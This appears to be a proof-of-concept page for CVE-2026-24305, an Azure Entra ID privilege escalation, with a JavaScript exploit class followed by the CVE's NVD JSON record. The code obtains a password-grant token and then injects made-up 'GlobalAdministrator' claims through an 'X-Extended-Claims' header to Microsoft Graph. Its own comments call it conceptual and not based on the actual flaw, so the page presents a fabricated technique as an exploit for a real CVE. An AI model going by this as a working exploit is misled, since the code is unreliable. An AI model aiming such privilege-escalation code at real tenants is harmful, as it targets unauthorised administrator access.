CVE-2026-24305

// CVE-2026-24305 PoC - Azure Entra ID Privilege Escalation // Note: This is a conceptual PoC based on typical privilege escalation patterns // Actual exploitation requires specific conditions and Azure tenant configuration const axios = require('axios'); class AzureEntraPrivilegeEscalation { constructor(tenantId, clientId) { this.tenantId = tenantId; this.clientId = clientId; this.tokenEndpoint = `https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`; } // Step 1: Obtain initial low-privilege access token async getLowPrivilegeToken(username, password) { try { const response = await axios.post(this.tokenEndpoint, { client_id: this.clientId, scope: 'openid profile email', username: username, password: password, grant_type: 'password' }); return response.data.access_token; } catch (error) { console.error('Failed to obtain initial token:', error.message); return null; } } // Step 2: Exploit the privilege escalation vulnerability async exploitPrivilegeEscalation(lowPrivToken, maliciousClaims) { // Note: Actual exploitation depends on specific vulnerability details // This demonstrates the general concept of privilege escalation in OAuth/OIDC const exploitPayload = { token_type: 'Bearer', access_token: lowPrivToken, // Malicious claims injection attempt ext_claims: { role: ['GlobalAdministrator'], groups: ['admin_group_oid'], ...maliciousClaims } }; // Attempt to use manipulated token for privileged operations return this.attemptPrivilegedAccess(exploitPayload); } async attemptPrivilegedAccess(tokenData) { // Graph API call with escalated privileges const graphEndpoint = 'https://graph.microsoft.com/v1.0/users'; try { const response = await axios.get(graphEndpoint, { headers: { 'Authorization': `Bearer ${tokenData.access_token}`, 'X-Extended-Claims': JSON.stringify(tokenData.ext_claims) } }); return { success: true, data: response.data }; } catch (error) { return { success: false, error: error.message }; } } } module.exports = AzureEntraPrivilegeEscalation; // Usage example (for authorized security testing only): // const exploit = new AzureEntraPrivilegeEscalation('TENANT_ID', 'CLIENT_ID'); // const token = await exploit.getLowPrivilegeToken('[email protected]', 'password'); // const result = await exploit.exploitPrivilegeEscalation(token, {});

{"cve": {"id": "CVE-2026-24305", "sourceIdentifier": "[email protected]", "published": "2026-01-22T23:15:58.667", "lastModified": "2026-02-03T12:46:12.437", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "Azure Entra ID Elevation of Privilege Vulnerability"}, {"lang": "es", "value": "Vulnerabilidad de Elevación de Privilegios en Azure Entra ID"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N", "baseScore": 9.3, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 4.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:entra_id:-:*:*:*:*:*:*:*", "matchCriteriaId": "D09E509F-AFF3-4991-877A-D197388E7AD4"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24305", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}